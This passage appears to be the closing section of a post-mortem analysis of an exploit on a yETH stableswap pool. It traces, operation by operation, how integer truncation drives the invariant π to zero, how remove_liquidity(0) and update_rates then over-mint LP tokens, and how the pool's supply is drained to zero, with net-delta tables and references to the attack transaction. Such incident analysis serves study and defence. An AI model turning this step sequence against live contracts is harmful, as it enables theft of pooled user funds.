| 5 | remove_liq | 5.92e18 | 5.92e18 | Unchanged |
| 6 | add_liq | 5.92e18 | 2.07e19 | Growing larger |
| 7 | remove_liq | 2.07e19 | 2.07e19 | Unchanged |
| 8 | add_liq | 2.07e19 | 4.22e19 | Growing |
| 9 | remove_liq | 4.22e19 | 4.22e19 | Unchanged |
| 10 | add_liq | 4.22e19 | 0 | π TRUNCATED TO ZERO! Iterative solver integer truncation |
| 11 | add_liq | 0 | 0 | Still zero (0 × anything = 0) |
| 12 | remove_liq(0) | 0 | 9.09e19 | π RECOMPUTED from actual balances |
| 13 | remove_liq | 4.34e19 | 4.34e19 | Note: π changed between ops due to _update_supply iterative solving |
| 14 | add_liq | 4.34e19 | 0 | π → 0 again |
| 15 | add_liq | 0 | 0 | Still zero |
| 16 | add_liq | 0 | 0 | Still zero |
| 17 | remove_liq(0) | 0 | 9.09e19 | π RECOMPUTED |
| 18 | remove_liq | 4.34e19 | 4.34e19 | After _update_supply adjustment |
| 19 | add_liq | 4.34e19 | 0 | π → 0 third time |
| 20 | add_liq | 0 | 0 | Still zero |
| 21 | add_liq | 0 | 0 | Still zero |
| 22 | remove_liq(0) | 0 | 9.10e19 | π RECOMPUTED |
| 23 | remove_liq | 4.34e19 | 0 | Final removal sets supply=0, π=0 |
The attack pattern is clear:
- Ops 2-9: Build up π through unbalanced deposits
- Op 10: π truncates to 0 during iterative solving (integer precision loss)
- Op 12:
remove_liquidity(0)recomputes π correctly → triggers burn from staking viaupdate_rates - Ops 14-16: Repeat: π → 0 again
- Op 17: Fix π again → more burns
- Ops 19-21: Repeat once more
- Op 22: Final π fix
- Op 23: Attacker has accumulated enough LP to exceed
supply, burns exactlysupplyto reachsupply = 0
Why π Changes Between Operations
The gaps between π_end of one operation and π_start of the next (e.g., Op #12 ends with 9.09e19 but Op #13 starts with 4.34e19) occur because:
update_rates()is called between operations- This calls
_update_supply()which runs iterative solving via_calc_supply() - The iterative process updates π as part of finding the new equilibrium supply
- The supply difference is burned from staking
This is the core mechanism: each “fix” of π via remove_liquidity(0) followed by update_rates() burns LP from staking, gradually depleting it until the attacker’s balance exceeds the pool’s internal supply.
π and Net Delta
Net Delta for Actions [13, 14, 15]:
| Token | 13 (remove, π > 0) | 14 (add, π -> 0) | 15 (add, π = 0) | Net Delta (ETH) |
|---|---|---|---|---|
| sfrxETH | +2,013.84 | -1,049.51 | -919.89 | +44.44 |
| WstETH | +1,884.48 | -982.09 | -860.80 | +41.59 |
| ETHx | +1,282.02 | -667.67 | -586.03 | +28.32 |
| cbETH | +20.08 | 0 | 0 | +20.08 |
| rETH | +1,197.47 | -623.64 | -547.39 | +26.44 |
| apxETH | +1,678.60 | -878.77 | -763.40 | +36.43 |
| WOETH | +0.48 | 0 | 0 | +0.48 |
| mETH | +0.49 | 0 | 0 | +0.49 |
| LP Token | -8,434.93 | +4,961.47 + 0.72 | +4,211.53 + 0.63 | +739.42 |
Total assets increased while gaining ~739 LP tokens.
Net Delta for Actions [18, 19, 20]:
| Token | 18 (remove, π > 0) | 19 (add, π -> 0) | 20 (add, π = 0) | Net Delta (ETH) |
|---|---|---|---|---|
| sfrxETH | +2,196.84 | -417.52 | -1,779.33 | -0.01 |
| WstETH | +2,055.72 | -390.70 | -1,665.03 | -0.01 |
| ETHx | +1,398.49 | -264.94 | -1,133.55 | 0 |
| cbETH | +57.20 | 0 | 0 | +57.20 |
| rETH | +1,306.27 | -247.47 | -1,058.80 | 0 |
| apxETH | +1,831.71 | -355.24 | -1,476.63 | -0.16 |
| WOETH | +0.08 | 0 | 0 | +0.08 |
| mETH | +0.08 | 0 | 0 | +0.08 |
| LP Token | -9,237.03 | +1,976.90 + 0.29 | +8,146.29 + 1.22 | +887.67 |
Total assets increased while gaining ~887 LP tokens.
Why? π = 0 → supply overestimated ((A·σ - D[m]·π[m]) / (A-1)) → mint more tokens than deserved.
References
- Vulnerable contract:
stableswap.vy(Vyper 0.3.10) - Pool: yETH weighted stableswap with 8 LST assets
0xCcd04073f4BdC4510927ea9Ba350875C3c65BF81 - Attack transaction:
0x53fe7ef190c34d810c50fb66f0fc65a1ceedc10309cf4b4013d64042a0331156
\(\tag*{$Q.E.D.$}\) \(\tag*{$\blacksquare$}\)